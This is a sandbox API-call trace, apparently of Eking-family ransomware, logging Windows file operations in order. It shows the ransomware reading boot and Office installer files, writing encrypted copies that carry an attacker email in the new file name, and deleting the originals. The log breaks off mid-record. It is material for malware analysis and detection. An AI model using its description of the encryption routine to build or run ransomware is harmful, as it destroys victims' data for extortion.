[0054.978] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.978] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=87104) returned 1 [0054.978] CloseHandle (hObject=0x1c0) returned 1 [0054.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0054.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0054.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.978] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.979] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.979] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=70720) returned 1 [0054.979] CloseHandle (hObject=0x1c0) returned 1 [0054.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0054.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0054.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.979] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.979] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.980] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=70224) returned 1 [0054.980] CloseHandle (hObject=0x1c0) returned 1 [0054.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0054.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0054.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.980] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.980] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.980] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=70208) returned 1 [0054.980] CloseHandle (hObject=0x1c0) returned 1 [0054.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0054.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0054.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.981] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.981] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.981] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=383786) returned 1 [0054.981] CloseHandle (hObject=0x1c0) returned 1 [0054.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0054.982] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0054.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0054.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\bootmgr.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.982] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.982] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x27) returned 0 [0054.982] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.984] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=8192) returned 1 [0054.984] CloseHandle (hObject=0x1c0) returned 1 [0054.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0054.984] SetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0054.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x26 [0054.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\bootsect.bak.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.985] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.985] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f7d8 | out: lpNewFilePointer=0x0) returned 1 [0054.985] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f7d8 | out: lpNewFilePointer=0x0) returned 1 [0054.985] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\bootsect.bak.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x26, hTemplateFile=0x0) returned 0x1c4 [0054.987] ReadFile (in: hFile=0x1c0, lpBuffer=0x2a90020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f7e4, lpOverlapped=0x0 | out: lpBuffer=0x2a90020*, lpNumberOfBytesRead=0x2e3f7e4*=0x2000, lpOverlapped=0x0) returned 1 [0054.990] WriteFile (in: hFile=0x1c4, lpBuffer=0x2a90020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2e3f7c8, lpOverlapped=0x0 | out: lpBuffer=0x2a90020*, lpNumberOfBytesWritten=0x2e3f7c8*=0x2010, lpOverlapped=0x0) returned 1 [0054.991] WriteFile (in: hFile=0x1c4, lpBuffer=0x2a90020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f7c8, lpOverlapped=0x0 | out: lpBuffer=0x2a90020*, lpNumberOfBytesWritten=0x2e3f7c8*=0xf2, lpOverlapped=0x0) returned 1 [0054.991] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f538 | out: lpNewFilePointer=0x0) returned 1 [0054.992] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f538 | out: lpNewFilePointer=0x0) returned 1 [0054.992] WriteFile (in: hFile=0x1c0, lpBuffer=0x2a90020*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f544, lpOverlapped=0x0 | out: lpBuffer=0x2a90020*, lpNumberOfBytesWritten=0x2e3f544*=0x2000, lpOverlapped=0x0) returned 1 [0054.992] FlushFileBuffers (hFile=0x1c0) returned 1 [0055.980] FlushFileBuffers (hFile=0x1c4) returned 1 [0058.242] CloseHandle (hObject=0x1c0) returned 1 [0058.245] CloseHandle (hObject=0x1c4) returned 1 [0058.246] DeleteFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0058.247] SetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", dwFileAttributes=0x27) returned 1 [0058.247] SetEvent (hEvent=0x16c) returned 1 [0058.248] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0058.249] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=2506240) returned 1 [0058.249] CloseHandle (hObject=0x1c4) returned 1 [0058.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi")) returned 0x2020 [0058.249] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0058.250] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0058.250] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f660 | out: lpNewFilePointer=0x0) returned 1 [0058.250] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f660 | out: lpNewFilePointer=0x0) returned 1 [0058.250] ReadFile (in: hFile=0x1c4, lpBuffer=0x2a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f66c, lpOverlapped=0x0 | out: lpBuffer=0x2a90058*, lpNumberOfBytesRead=0x2e3f66c*=0x40000, lpOverlapped=0x0) returned 1 [0058.255] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f660 | out: lpNewFilePointer=0x0) returned 1 [0058.255] ReadFile (in: hFile=0x1c4, lpBuffer=0x2ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f66c, lpOverlapped=0x0 | out: lpBuffer=0x2ad0058*, lpNumberOfBytesRead=0x2e3f66c*=0x40000, lpOverlapped=0x0) returned 1 [0058.270] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f660 | out: lpNewFilePointer=0x0) returned 1 [0058.270] ReadFile (in: hFile=0x1c4, lpBuffer=0x2b10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f66c, lpOverlapped=0x0 | out: lpBuffer=0x2b10058*, lpNumberOfBytesRead=0x2e3f66c*=0x40000, lpOverlapped=0x0) returned 1 [0058.287] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f7d0 | out: lpNewFilePointer=0x0) returned 1 [0058.287] WriteFile (in: hFile=0x1c4, lpBuffer=0x2a90020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2e3f7c8, lpOverlapped=0x0 | out: lpBuffer=0x2a90020*, lpNumberOfBytesWritten=0x2e3f7c8*=0xc0112, lpOverlapped=0x0) returned 1 [0058.716] SetEndOfFile (hFile=0x1c4) returned 1 [0058.716] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f668 | out: lpNewFilePointer=0x0) returned 1 [0058.716] WriteFile (in: hFile=0x1c4, lpBuffer=0x2b5014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f674, lpOverlapped=0x0 | out: lpBuffer=0x2b5014a*, lpNumberOfBytesWritten=0x2e3f674*=0x40000, lpOverlapped=0x0) returned 1 [0058.719] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f668 | out: lpNewFilePointer=0x0) returned 1 [0058.719] WriteFile (in: hFile=0x1c4, lpBuffer=0x2b5014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f674, lpOverlapped=0x0 | out: lpBuffer=0x2b5014a*, lpNumberOfBytesWritten=0x2e3f674*=0x40000, lpOverlapped=0x0) returned 1 [0058.723] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f668 | out: lpNewFilePointer=0x0) returned 1 [0058.723] WriteFile (in: hFile=0x1c4, lpBuffer=0x2b5014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f674, lpOverlapped=0x0 | out: lpBuffer=0x2b5014a*, lpNumberOfBytesWritten=0x2e3f674*=0x40000, lpOverlapped=0x0) returned 1 [0058.724] FlushFileBuffers (hFile=0x1c4) returned 1 [0061.909] CloseHandle (hObject=0x1c4) returned 1 [0062.329] SetEvent (hEvent=0x16c) returned 1 [0062.330] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0062.331] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=1565) returned 1 [0062.331] CloseHandle (hObject=0x1c4) returned 1 [0062.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0062.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0062.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0062.331] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0062.331] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f7d8 | out: lpNewFilePointer=0x0) returned 1 [0062.331] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f7d8 | out: lpNewFilePointer=0x0) returned 1 [0062.331] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1c0 [0062.332] ReadFile (in: hFile=0x1c4, lpBuffer=0x2a90020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f7e4, lpOverlapped=0x0 | out: lpBuffer=0x2a90020*, lpNumberOfBytesRead=0x2e3f7e4*=0x61d, lpOverlapped=0x0) returned 1 [0062.335] WriteFile (in: hFile=0x1c0, lpBuffer=0x2a90020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2e3f7c8, lpOverlapped=0x0 | out: lpBuffer=0x2a90020*, lpNumberOfBytesWritten=0x2e3f7c8*=0x620, lpOverlapped=0x0) returned 1 [0062.336] WriteFile (in: hFile=0x1c0, lpBuffer=0x2a90020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f7c8, lpOverlapped=0x0 | out: lpBuffer=0x2a90020*, lpNumberOfBytesWritten=0x2e3f7c8*=0xf2, lpOverlapped=0x0) returned 1 [0062.336] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f538 | out: lpNewFilePointer=0x0) returned 1 [0062.336] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f538 | out: lpNewFilePointer=0x0) returned 1 [0062.336] WriteFile (in: hFile=0x1c4, lpBuffer=0x2a90020*, nNumberOfBytesToWrite=0x61d, lpNumberOfBytesWritten=0x2e3f544, lpOverlapped=0x0 | out: lpBuffer=0x2a90020*, lpNumberOfBytesWritten=0x2e3f544*=0x61d, lpOverlapped=0x0) returned 1 [0062.336] FlushFileBuffers (hFile=0x1c4) returned 1 [0062.340] FlushFileBuffers (hFile=0x1c0) returned 1 [0062.342] CloseHandle (hObject=0x1c4) returned 1 [0062.343] CloseHandle (hObject=0x1c0) returned 1 [0062.344] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 1 [0062.346] SetEvent (hEvent=0x16c) returned 1 [0062.346] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0062.347] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=2296) returned 1 [0062.347] CloseHandle (hObject=0x1c0) returned 1 [0062.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0062.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0062.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0062.347] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0062.347] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f7d8 | out: lpNewFilePointer=0x0) returned 1 [0062.347] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f7d8 | out: lpNewFilePointer=0x0) returned 1 [0062.347] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1c4 [0062.348] ReadFile (in: hFile=0x1c0, lpBuffer=0x2a90020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f7e4, lpOverlapped=0x0 | out: lpBuffer=0x2a90020*, lpNumberOfBytesRead=0x2e3f7e4*=0x8f8, lpOverlapped=0x0) returned 1 [0062.374] WriteFile (in: hFile=0x1c4, lpBuffer=0x2a90020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2e3f7c8, lpOverlapped=0x0 | out: lpBuffer=0x2a90020*, lpNumberOfBytesWritten=0x2e3f7c8*=0x900, lpOverlapped=0x0) returned 1 [0062.375] WriteFile (in: hFile=0x1c4, lpBuffer=0x2a90020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f7c8, lpOverlapped=0x0 | out: lpBuffer=0x2a90020*, lpNumberOfBytesWritten=0x2e3f7c8*=0xf2, lpOverlapped=0x0) returned 1 [0062.376] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f538 | out: lpNewFilePointer=0x0) returned 1 [0062.376] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f538 | out: lpNewFilePointer=0x0) returned 1 [0062.376] WriteFile (in: hFile=0x1c0, lpBuffer=0x2a90020*, nNumberOfBytesToWrite=0x8f8, lpNumberOfBytesWritten=0x2e3f544, lpOverlapped=0x0 | out: lpBuffer=0x2a90020*, lpNumberOfBytesWritten=0x2e3f544*=0x8f8, lpOverlapped=0x0) returned 1 [0062.376] FlushFileBuffers (hFile=0x1c0) returned 1 [0062.383] FlushFileBuffers (hFile=0x1c4) returned 1 [0062.384] CloseHandle (hObject=0x1c0) returned 1 [0062.389] CloseHandle (hObject=0x1c4) returned 1 [0062.390] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0062.392] SetEvent (hEvent=0x16c) returned 1 [0062.392] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0062.393] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=2503680) returned 1 [0062.393] CloseHandle (hObject=0x1c4) returned 1 [0062.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" 